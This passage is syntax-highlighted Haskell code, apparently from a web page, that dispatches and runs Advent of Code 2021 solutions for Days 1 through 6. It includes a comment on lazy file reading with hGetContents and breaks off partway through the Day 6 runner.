&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution05&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution06&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution07&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution08&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;solution09&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Int&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;allSolutions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution01&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution02&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution03&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution04&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution05&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution06&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution07&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution08&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;solution09&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;runSolution&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;Day &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;show&lt;/span&gt; &lt;span style="color:#111"&gt;x&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34; has no associated solution.&amp;#34;&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution01&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution01&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- hGetContents is lazy in that data is only read as the characters are&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- processed. The lazy evaluation of the string is transparent, and so it can&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- be passed to pure functions without any issues. However, if we try to hold&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- onto `s` past the call to `numIncreases`, then we lose the memory&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- efficiency as the compiler is forced to keep its value in memory for future&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- use. Note that closing a handle before fully consuming its results will&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- make you miss on the stream&amp;#39;s data that had not been evaluated before the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- handle&amp;#39;s close. [1] [2]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;--&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- [1]: http://book.realworldhaskell.org/read/io.html#io.lazy.hGetContents&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;-- [2]: https://hackage.haskell.org/package/base-4.16.0.0/docs/System-IO.html#v:hGetContents&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/01-sonar-sweep.input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 01. Sonar Sweep&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;withFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;\&lt;/span&gt;&lt;span style="color:#111"&gt;h&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;hGetContents&lt;/span&gt; &lt;span style="color:#111"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Number of measurements larger than previous measurement: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SonarSweep&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numIncreases&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Number of 3-measurements larger than previous 3-measurement: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SonarSweep&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;num3MeasurementIncreases&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution02&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution02&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;getDataFileName&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/Dive/scratchpad/input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 02. Dive!&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;withFile&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;fp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;\&lt;/span&gt;&lt;span style="color:#111"&gt;h&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;hGetContents&lt;/span&gt; &lt;span style="color:#111"&gt;h&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Product of final horizontal position and final depth: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;productOfFinalPosition&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Product of final horizontal position and final depth &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;with new instructions of : &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;productOfFinalPositionWithNewIntepretation&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lines&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;fromString&lt;/span&gt; &lt;span style="color:#111"&gt;s&lt;/span&gt;&lt;span style="color:#111"&gt;)))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution03&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution03&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 03. Binary Diagnostic&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Power Consumption: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseBinaryDiagnosticInput&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/BinaryDiagnostic/scratchpad/input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;powerConsumption&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Life Support Rating: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;lifeSupportRating&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution04&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution04&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 04. Giant Squid&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseBingoInput&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/04-giant-squid.input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Score of first winning board: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;GiantSquid&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;scoreOfFirstWinningBoard&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Score of last winning board: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;GiantSquid&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;scoreOfLastWinningBoard&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution05&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution05&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 05. Hydrothermal Venture&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseHydrothermalVents&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/HydrothermalVenture/scratchpad/input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Num Points Where &amp;gt;= 2 Right Lines Overlap: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pointsWithAtLeastTwoRightSegmentOverlaps&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Num Points Where &amp;gt;= 2 Lines Overlap: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;pointsWithAtLeastTwoSegmentOverlaps&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution06&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution06&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 06. Lanternfish&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseLanternfishInternalTimers&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/06-lanternfish.input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Number of lanternfish after 80 days: (360610) &amp;#34;&lt;/span&gt;
